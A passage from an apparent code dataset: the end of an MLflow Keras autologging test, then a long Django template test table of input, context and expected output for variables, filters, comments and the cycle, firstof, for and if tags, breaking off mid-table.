    assert ""opt_name"" in data.params
    assert data.params[""opt_name""] == ""Adam""
    assert ""opt_learning_rate"" in data.params
    assert ""opt_decay"" in data.params
    assert ""opt_beta_1"" in data.params
    assert ""opt_beta_2"" in data.params
    assert ""opt_epsilon"" in data.params
    assert ""opt_amsgrad"" in data.params
    assert data.params[""opt_amsgrad""] == ""False""
    client = MlflowClient()
    all_epoch_acc = client.get_metric_history(run.info.run_id, ""accuracy"")
    num_of_epochs = len(history.history[""loss""])
    assert len(all_epoch_acc) == num_of_epochs == 10
    artifacts = client.list_artifacts(run.info.run_id)
    artifacts = map(lambda x: x.path, artifacts)
    assert ""model_summary.txt"" in artifacts"
,UNKNOWN,UNKNOWN,tests/template_tests/tests.py,1,"def get_template_tests(self):
        # SYNTAX --
        # 'template_name': ('template contents', 'context dict', 'expected string output' or Exception class)
        basedir = os.path.dirname(os.path.abspath(upath(__file__)))
        tests = {
            ### BASIC SYNTAX ################################################

            # Plain text should go through the template parser untouched
            'basic-syntax01': (""something cool"", {}, ""something cool""),

            # Variables should be replaced with their value in the current
            # context
            'basic-syntax02': (""{{ headline }}"", {'headline':'Success'}, ""Success""),

            # More than one replacement variable is allowed in a template
            'basic-syntax03': (""{{ first }} --- {{ second }}"", {""first"" : 1, ""second"" : 2}, ""1 --- 2""),

            # Fail silently when a variable is not found in the current context
            'basic-syntax04': (""as{{ missing }}df"", {}, (""asdf"",""asINVALIDdf"")),

            # A variable may not contain more than one word
            'basic-syntax06': (""{{ multi word variable }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty variable tags
            'basic-syntax07': (""{{ }}"",        {}, template.TemplateSyntaxError),
            'basic-syntax08': (""{{        }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call an object's attribute
            'basic-syntax09': (""{{ var.method }}"", {""var"": SomeClass()}, ""SomeClass.method""),

            # Multiple levels of attribute access are allowed
            'basic-syntax10': (""{{ var.otherclass.method }}"", {""var"": SomeClass()}, ""OtherClass.method""),

            # Fail silently when a variable's attribute isn't found
            'basic-syntax11': (""{{ var.blech }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Raise TemplateSyntaxError when trying to access a variable beginning with an underscore
            'basic-syntax12': (""{{ var.__dict__ }}"", {""var"": SomeClass()}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a variable containing an illegal character
            'basic-syntax13': (""{{ va>r }}"", {}, template.TemplateSyntaxError),
            'basic-syntax14': (""{{ (var.r) }}"", {}, template.TemplateSyntaxError),
            'basic-syntax15': (""{{ sp%am }}"", {}, template.TemplateSyntaxError),
            'basic-syntax16': (""{{ eggs! }}"", {}, template.TemplateSyntaxError),
            'basic-syntax17': (""{{ moo? }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call a dictionary key's value
            'basic-syntax18': (""{{ foo.bar }}"", {""foo"" : {""bar"" : ""baz""}}, ""baz""),

            # Fail silently when a variable's dictionary key isn't found
            'basic-syntax19': (""{{ foo.spam }}"", {""foo"" : {""bar"" : ""baz""}}, ("""",""INVALID"")),

            # Fail silently when accessing a non-simple method
            'basic-syntax20': (""{{ var.method2 }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Don't get confused when parsing something that is almost, but not
            # quite, a template tag.
            'basic-syntax21': (""a {{ moo %} b"", {}, ""a {{ moo %} b""),
            'basic-syntax22': (""{{ moo #}"", {}, ""{{ moo #}""),

            # Will try to treat ""moo #} {{ cow"" as the variable. Not ideal, but
            # costly to work around, so this triggers an error.
            'basic-syntax23': (""{{ moo #} {{ cow }}"", {""cow"": ""cow""}, template.TemplateSyntaxError),

            # Embedded newlines make it not-a-tag.
            'basic-syntax24': (""{{ moo\n }}"", {}, ""{{ moo\n }}""),

            # Literal strings are permitted inside variables, mostly for i18n
            # purposes.
            'basic-syntax25': ('{{ ""fred"" }}', {}, ""fred""),
            'basic-syntax26': (r'{{ ""\""fred\"""" }}', {}, ""\""fred\""""),
            'basic-syntax27': (r'{{ _(""\""fred\"""") }}', {}, ""\""fred\""""),

            # regression test for ticket #12554
            # make sure a silent_variable_failure Exception is supressed
            # on dictionary and attribute lookup
            'basic-syntax28': (""{{ a.b }}"", {'a': SilentGetItemClass()}, ('', 'INVALID')),
            'basic-syntax29': (""{{ a.b }}"", {'a': SilentAttrClass()}, ('', 'INVALID')),

            # Something that starts like a number but has an extra lookup works as a lookup.
            'basic-syntax30': (""{{ 1.2.3 }}"", {""1"": {""2"": {""3"": ""d""}}}, ""d""),
            'basic-syntax31': (""{{ 1.2.3 }}"", {""1"": {""2"": (""a"", ""b"", ""c"", ""d"")}}, ""d""),
            'basic-syntax32': (""{{ 1.2.3 }}"", {""1"": ((""x"", ""x"", ""x"", ""x""), (""y"", ""y"", ""y"", ""y""), (""a"", ""b"", ""c"", ""d""))}, ""d""),
            'basic-syntax33': (""{{ 1.2.3 }}"", {""1"": (""xxxx"", ""yyyy"", ""abcd"")}, ""d""),
            'basic-syntax34': (""{{ 1.2.3 }}"", {""1"": ({""x"": ""x""}, {""y"": ""y""}, {""z"": ""z"", ""3"": ""d""})}, ""d""),

            # Numbers are numbers even if their digits are in the context.
            'basic-syntax35': (""{{ 1 }}"", {""1"": ""abc""}, ""1""),
            'basic-syntax36': (""{{ 1.2 }}"", {""1"": ""abc""}, ""1.2""),

            # Call methods in the top level of the context
            'basic-syntax37': ('{{ callable }}', {""callable"": lambda: ""foo bar""}, ""foo bar""),

            # Call methods returned from dictionary lookups
            'basic-syntax38': ('{{ var.callable }}', {""var"": {""callable"": lambda: ""foo bar""}}, ""foo bar""),

            'builtins01': ('{{ True }}', {}, ""True""),
            'builtins02': ('{{ False }}', {}, ""False""),
            'builtins03': ('{{ None }}', {}, ""None""),

            # List-index syntax allows a template to access a certain item of a subscriptable object.
            'list-index01': (""{{ var.1 }}"", {""var"": [""first item"", ""second item""]}, ""second item""),

            # Fail silently when the list index is out of range.
            'list-index02': (""{{ var.5 }}"", {""var"": [""first item"", ""second item""]}, ("""", ""INVALID"")),

            # Fail silently when the variable is not a subscriptable object.
            'list-index03': (""{{ var.1 }}"", {""var"": None}, ("""", ""INVALID"")),

            # Fail silently when variable is a dict without the specified key.
            'list-index04': (""{{ var.1 }}"", {""var"": {}}, ("""", ""INVALID"")),

            # Dictionary lookup wins out when dict's key is a string.
            'list-index05': (""{{ var.1 }}"", {""var"": {'1': ""hello""}}, ""hello""),

            # But list-index lookup wins out when dict's key is an int, which
            # behind the scenes is really a dictionary lookup (for a dict)
            # after converting the key to an int.
            'list-index06': (""{{ var.1 }}"", {""var"": {1: ""hello""}}, ""hello""),

            # Dictionary lookup wins out when there is a string and int version of the key.
            'list-index07': (""{{ var.1 }}"", {""var"": {'1': ""hello"", 1: ""world""}}, ""hello""),

            # Basic filter usage
            'filter-syntax01': (""{{ var|upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Chained filters
            'filter-syntax02': (""{{ var|upper|lower }}"", {""var"": ""Django is the greatest!""}, ""django is the greatest!""),

            # Allow spaces before the filter pipe
            'filter-syntax03': (""{{ var |upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Allow spaces after the filter pipe
            'filter-syntax04': (""{{ var| upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Raise TemplateSyntaxError for a nonexistent filter
            'filter-syntax05': (""{{ var|does_not_exist }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a filter containing an illegal character
            'filter-syntax06': (""{{ var|fil(ter) }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for invalid block tags
            'filter-syntax07': (""{% nothing_to_see_here %}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty block tags
            'filter-syntax08': (""{% %}"", {}, template.TemplateSyntaxError),

            # Chained filters, with an argument to the first one
            'filter-syntax09': ('{{ var|removetags:""b i""|upper|lower }}', {""var"": ""<b><i>Yes</i></b>""}, ""yes""),

            # Literal string as argument is always ""safe"" from auto-escaping..
            'filter-syntax10': (r'{{ var|default_if_none:"" endquote\"" hah"" }}',
                    {""var"": None}, ' endquote"" hah'),

            # Variable as argument
            'filter-syntax11': (r'{{ var|default_if_none:var2 }}', {""var"": None, ""var2"": ""happy""}, 'happy'),

            # Default argument testing
            'filter-syntax12': (r'{{ var|yesno:""yup,nup,mup"" }} {{ var|yesno }}', {""var"": True}, 'yup yes'),

            # Fail silently for methods that raise an exception with a
            # ""silent_variable_failure"" attribute
            'filter-syntax13': (r'1{{ var.method3 }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In methods that raise an exception without a
            # ""silent_variable_attribute"" set to True, the exception propagates
            'filter-syntax14': (r'1{{ var.method4 }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # Escaped backslash in argument
            'filter-syntax15': (r'{{ var|default_if_none:""foo\bar"" }}', {""var"": None}, r'foo\bar'),

            # Escaped backslash using known escape char
            'filter-syntax16': (r'{{ var|default_if_none:""foo\now"" }}', {""var"": None}, r'foo\now'),

            # Empty strings can be passed as arguments to filters
            'filter-syntax17': (r'{{ var|join:"""" }}', {'var': ['a', 'b', 'c']}, 'abc'),

            # Make sure that any unicode strings are converted to bytestrings
            # in the final output.
            'filter-syntax18': (r'{{ var }}', {'var': UTF8Class()}, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'),

            # Numbers as filter arguments should work
            'filter-syntax19': ('{{ var|truncatewords:1 }}', {""var"": ""hello world""}, ""hello ...""),

            #filters should accept empty string constants
            'filter-syntax20': ('{{ """"|default_if_none:""was none"" }}', {}, """"),

            # Fail silently for non-callable attribute and dict lookups which
            # raise an exception with a ""silent_variable_failure"" attribute
            'filter-syntax21': (r'1{{ var.silent_fail_key }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),
            'filter-syntax22': (r'1{{ var.silent_fail_attribute }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In attribute and dict lookups that raise an unexpected exception
            # without a ""silent_variable_attribute"" set to True, the exception
            # propagates
            'filter-syntax23': (r'1{{ var.noisy_fail_key }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),
            'filter-syntax24': (r'1{{ var.noisy_fail_attribute }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            ### COMMENT SYNTAX ########################################################
            'comment-syntax01': (""{# this is hidden #}hello"", {}, ""hello""),
            'comment-syntax02': (""{# this is hidden #}hello{# foo #}"", {}, ""hello""),

            # Comments can contain invalid stuff.
            'comment-syntax03': (""foo{#  {% if %}  #}"", {}, ""foo""),
            'comment-syntax04': (""foo{#  {% endblock %}  #}"", {}, ""foo""),
            'comment-syntax05': (""foo{#  {% somerandomtag %}  #}"", {}, ""foo""),
            'comment-syntax06': (""foo{# {% #}"", {}, ""foo""),
            'comment-syntax07': (""foo{# %} #}"", {}, ""foo""),
            'comment-syntax08': (""foo{# %} #}bar"", {}, ""foobar""),
            'comment-syntax09': (""foo{# {{ #}"", {}, ""foo""),
            'comment-syntax10': (""foo{# }} #}"", {}, ""foo""),
            'comment-syntax11': (""foo{# { #}"", {}, ""foo""),
            'comment-syntax12': (""foo{# } #}"", {}, ""foo""),

            ### COMMENT TAG ###########################################################
            'comment-tag01': (""{% comment %}this is hidden{% endcomment %}hello"", {}, ""hello""),
            'comment-tag02': (""{% comment %}this is hidden{% endcomment %}hello{% comment %}foo{% endcomment %}"", {}, ""hello""),

            # Comment tag can contain invalid stuff.
            'comment-tag03': (""foo{% comment %} {% if %} {% endcomment %}"", {}, ""foo""),
            'comment-tag04': (""foo{% comment %} {% endblock %} {% endcomment %}"", {}, ""foo""),
            'comment-tag05': (""foo{% comment %} {% somerandomtag %} {% endcomment %}"", {}, ""foo""),

            ### CYCLE TAG #############################################################
            'cycle01': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle02': ('{% cycle a,b,c as abc %}{% cycle abc %}', {}, 'ab'),
            'cycle03': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}', {}, 'abc'),
            'cycle04': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}', {}, 'abca'),
            'cycle05': ('{% cycle %}', {}, template.TemplateSyntaxError),
            'cycle06': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle07': ('{% cycle a,b,c as foo %}{% cycle bar %}', {}, template.TemplateSyntaxError),
            'cycle08': ('{% cycle a,b,c as foo %}{% cycle foo %}{{ foo }}{{ foo }}{% cycle foo %}{{ foo }}', {}, 'abbbcc'),
            'cycle09': (""{% for i in test %}{% cycle a,b %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle10': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"", {}, 'ab'),
            'cycle11': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abc'),
            'cycle12': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abca'),
            'cycle13': (""{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle14': (""{% cycle one two as foo %}{% cycle foo %}"", {'one': '1','two': '2'}, '12'),
            'cycle15': (""{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}"", {'test': range(5), 'aye': 'a', 'bee': 'b'}, 'a0,b1,a2,b3,a4,'),
            'cycle16': (""{% cycle one|lower two as foo %}{% cycle foo %}"", {'one': 'A','two': '2'}, 'a2'),
            'cycle17': (""{% cycle 'a' 'b' 'c' as abc silent %}{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, """"),
            'cycle18': (""{% cycle 'a' 'b' 'c' as foo invalid_flag %}"", {}, template.TemplateSyntaxError),
            'cycle19': (""{% cycle 'a' 'b' as silent %}{% cycle silent %}"", {}, ""ab""),
            'cycle20': (""{% cycle one two as foo %} &amp; {% cycle foo %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A & B &amp; C & D""),
            'cycle21': (""{% filter force_escape %}{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A &amp; B &amp; C &amp; D""),
            'cycle22': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""1234""),
            'cycle23': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""a1b2c3a4""),
            'included-cycle': ('{{ abc }}', {'abc': 'xxx'}, 'xxx'),
            'cycle24': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}"", {'values': [1,2,3,4]}, ""abca""),
            'cycle25': ('{% cycle a as abc %}', {'a': '<'}, '<'),

            'cycle26': ('{% load cycle from future %}{% cycle a b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '&lt;&gt;'),
            'cycle27': ('{% load cycle from future %}{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}', {'a': '<', 'b': '>'}, '<>'),
            'cycle28': ('{% load cycle from future %}{% cycle a|safe b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '<&gt;'),

            ### EXCEPTIONS ############################################################

            # Raise exception for invalid template name
            'exception01': (""{% extends 'nonexistent' %}"", {}, (template.TemplateDoesNotExist, template.TemplateDoesNotExist)),

            # Raise exception for invalid template name (in variable)
            'exception02': (""{% extends nonexistent %}"", {}, (template.TemplateSyntaxError, template.TemplateDoesNotExist)),

            # Raise exception for extra {% extends %} tags
            'exception03': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% extends 'inheritance16' %}"", {}, template.TemplateSyntaxError),

            # Raise exception for custom tags used in child with {% load %} tag in parent, not in child
            'exception04': (""{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"", {}, template.TemplateSyntaxError),

            ### FILTER TAG ############################################################
            'filter01': ('{% filter upper %}{% endfilter %}', {}, ''),
            'filter02': ('{% filter upper %}django{% endfilter %}', {}, 'DJANGO'),
            'filter03': ('{% filter upper|lower %}django{% endfilter %}', {}, 'django'),
            'filter04': ('{% filter cut:remove %}djangospam{% endfilter %}', {'remove': 'spam'}, 'django'),
            'filter05': ('{% filter safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter05bis': ('{% filter upper|safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06': ('{% filter escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06bis': ('{% filter upper|escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),

            ### FIRSTOF TAG ###########################################################
            'firstof01': ('{% firstof a b c %}', {'a':0,'b':0,'c':0}, ''),
            'firstof02': ('{% firstof a b c %}', {'a':1,'b':0,'c':0}, '1'),
            'firstof03': ('{% firstof a b c %}', {'a':0,'b':2,'c':0}, '2'),
            'firstof04': ('{% firstof a b c %}', {'a':0,'b':0,'c':3}, '3'),
            'firstof05': ('{% firstof a b c %}', {'a':1,'b':2,'c':3}, '1'),
            'firstof06': ('{% firstof a b c %}', {'b':0,'c':3}, '3'),
            'firstof07': ('{% firstof a b ""c"" %}', {'a':0}, 'c'),
            'firstof08': ('{% firstof a b ""c and d"" %}', {'a':0,'b':0}, 'c and d'),
            'firstof09': ('{% firstof %}', {}, template.TemplateSyntaxError),
            'firstof10': ('{% firstof a %}', {'a': '<'}, '<'),

            'firstof11': ('{% load firstof from future %}{% firstof a b %}', {'a': '<', 'b': '>'}, '&lt;'),
            'firstof12': ('{% load firstof from future %}{% firstof a b %}', {'a': '', 'b': '>'}, '&gt;'),
            'firstof13': ('{% load firstof from future %}{% autoescape off %}{% firstof a %}{% endautoescape %}', {'a': '<'}, '<'),
            'firstof14': ('{% load firstof from future %}{% firstof a|safe b %}', {'a': '<'}, '<'),

            ### FOR TAG ###############################################################
            'for-tag01': (""{% for val in values %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag02': (""{% for val in values reversed %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""321""),
            'for-tag-vars01': (""{% for val in values %}{{ forloop.counter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""123""),
            'for-tag-vars02': (""{% for val in values %}{{ forloop.counter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""012""),
            'for-tag-vars03': (""{% for val in values %}{{ forloop.revcounter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""321""),
            'for-tag-vars04': (""{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""210""),
            'for-tag-vars05': (""{% for val in values %}{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""fxx""),
            'for-tag-vars06': (""{% for val in values %}{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""xxl""),
            'for-tag-unpack01': (""{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack03': (""{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack04': (""{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack05': (""{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack06': (""{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack07': (""{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack08': (""{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            # Ensure that a single loopvar doesn't truncate the list in val.
            'for-tag-unpack09': (""{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            # Otherwise, silently truncate if the length of loopvars differs to the length of each set of items.
            'for-tag-unpack10': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'orange'))}, ""one:1/two:2/""),
            'for-tag-unpack11': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, (""one:1,/two:2,/"", ""one:1,INVALID/two:2,INVALID/"")),
            'for-tag-unpack12': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2))}, (""one:1,carrot/two:2,/"", ""one:1,carrot/two:2,INVALID/"")),
            'for-tag-unpack13': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'cheese'))}, (""one:1,carrot/two:2,cheese/"", ""one:1,carrot/two:2,cheese/"")),
            'for-tag-unpack14': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (1, 2)}, ("":/:/"", ""INVALID:INVALID/INVALID:INVALID/"")),
            'for-tag-empty01': (""{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag-empty02': (""{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}"", {""values"": []}, ""values array empty""),
            'for-tag-empty03': (""{% for val in values %}{{ val }}{% empty %}values array not found{% endfor %}"", {}, ""values array not found""),
            # Ticket 19882
            'for-tag-filter-ws': (""{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"", {'s': 'abc'}, 'abc'),

            ### IF TAG ################################################################
            'if-tag01': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": True}, ""yes""),
            'if-tag02': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": False}, ""no""),
            'if-tag03': (""{% if foo %}yes{% else %}no{% endif %}"", {}, ""no""),

            'if-tag04': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'foo': True}, ""foo""),
            'if-tag05': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'bar': True}, ""bar""),
            'if-tag06': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {}, """"),
            'if-tag07': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag08': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag09': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {}, ""nothing""),
            'if-tag10': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag11': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag12': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'baz': True}, ""baz""),
            'if-tag13': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {}, ""nothing""),

            # Filters
            'if-tag-filter01': (""{% if foo|length == 5 %}yes{% else %}no{% endif %}"", {'foo': 'abcde'}, ""yes""),
            'if-tag-filter02': (""{% if foo|upper == 'ABC' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Equality
            'if-tag-eq01': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-eq02': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1}, ""no""),
            'if-tag-eq03': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 1}, ""yes""),
            'if-tag-eq04': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 2}, ""no""),
            'if-tag-eq05': (""{% if foo == '' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Comparison
            'if-tag-gt-01': (""{% if 2 > 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gt-02': (""{% if 1 > 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-gte-01': (""{% if 1 >= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gte-02': (""{% if 1 >= 2 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lt-01': (""{% if 1 < 2 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lt-02': (""{% if 1 < 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lte-01': (""{% if 1 <= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lte-02': (""{% if 2 <= 1 %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Contains
            'if-tag-in-01': (""{% if 1 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),
            'if-tag-in-02': (""{% if 2 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-01': (""{% if 1 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-02': (""{% if 2 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),

            # AND
            'if-tag-and01': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-and02': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-and03': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-and04': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-and05': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-and06': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-and07': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'no'),
            'if-tag-and08': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'no'),

            # OR
            'if-tag-or01': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-or02': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-or03': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-or04': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-or05': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-or06': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-or07': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-or08': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'yes'),

            # multiple ORs
            'if-tag-or09': (""{% if foo or bar or baz %}yes{% else %}no{% endif %}"", {'baz': True}, 'yes'),

            # NOT
            'if-tag-not01': (""{% if not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-not02': (""{% if not not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'no'),
            # not03 to not05 removed, now TemplateSyntaxErrors

            'if-tag-not06': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not07': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not08': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not09': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not10': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not11': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not12': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not13': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not14': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not15': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not16': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not17': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not18': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not19': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
